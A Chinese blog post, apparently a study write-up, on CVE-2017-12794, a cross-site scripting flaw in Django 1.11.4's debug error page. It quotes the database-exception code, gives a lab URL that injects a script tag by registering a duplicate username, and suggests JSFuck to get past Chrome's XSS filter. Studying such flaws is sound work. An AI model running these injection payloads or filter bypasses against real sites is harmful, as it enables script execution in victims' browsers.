Django debug page XSS漏洞

CVE-2017-12794

Posted by songjiu on March 12, 2019

在i春秋平台上看到的漏洞教学,加以总结。

Django

Python下有许多款不同的 Web 框架。Django是重量级选手中最有代表性的一位。许多成功的网站和APP都基于Django,它是一个开放源代码的Web应用框架。

漏洞分析

i春秋上给的解释有,在1.11.4版本上,没有对exc_cause进行force escape(详情参见django的转义总结),而1.11.5加上了force escape强制转义,所以说明exc_cause是有问题的。图来自i春秋:

测试人员测试后得出,在重复创建两个具有相同用户名的用户之后会产生一个错误,处理错误的代码如下,通过测试,其中exc_value的值赋值给cause,cause并未做任何处理直接输出于debug页面,而cause当中包含重复定义的用户名,所以这就我们要找到的注入点,通过首先注册恶意用户名,并重复注册触发XSS。 代码:

    def __exit__(self, exc_type, exc_value, traceback):
    if exc_type is None:
        return
    for dj_exc_type in (
            DataError,
            OperationalError,
            IntegrityError,
            InternalError,
            ProgrammingError,
            NotSupportedError,
            DatabaseError,
            InterfaceError,
            Error,
    ):
        db_exc_type = getattr(self.wrapper.Database, dj_exc_type.__name__)
        if issubclass(exc_type, db_exc_type):
            dj_exc_value = dj_exc_type(*exc_value.args)
            dj_exc_value.__cause__ = exc_value#这里
            if not hasattr(exc_value, '__traceback__'):
                exc_value.__traceback__ = traceback
            # Only set the 'errors_occurred' flag for errors that may make
            # the connection unusable.
            if dj_exc_type not in (DataError, IntegrityError):
                self.wrapper.errors_occurred = True
            six.reraise(dj_exc_type, dj_exc_value, traceback)

漏洞利用

访问

http://your-ip:8000/create_user/?username=<script>alert('xss')</script>

创建一个用户,成功;再次访问

http://your-ip:8000/create_user/?username=<script>alert('xss')</script>

,触发异常。 查看源码,可以看到触发点,script写入了html当中,对应的网页位置如图所示: 注意,这种反射式xss是会被chrome拦截的,需要绕过,可能可以用jsfk的方式 ,网上的方法很多,我还没有尝试。 jsfk的在线网址:https://www.bugku.com/tools/jsfuck/

总结

通过查看补丁后的改动,不断测试,了解漏洞原理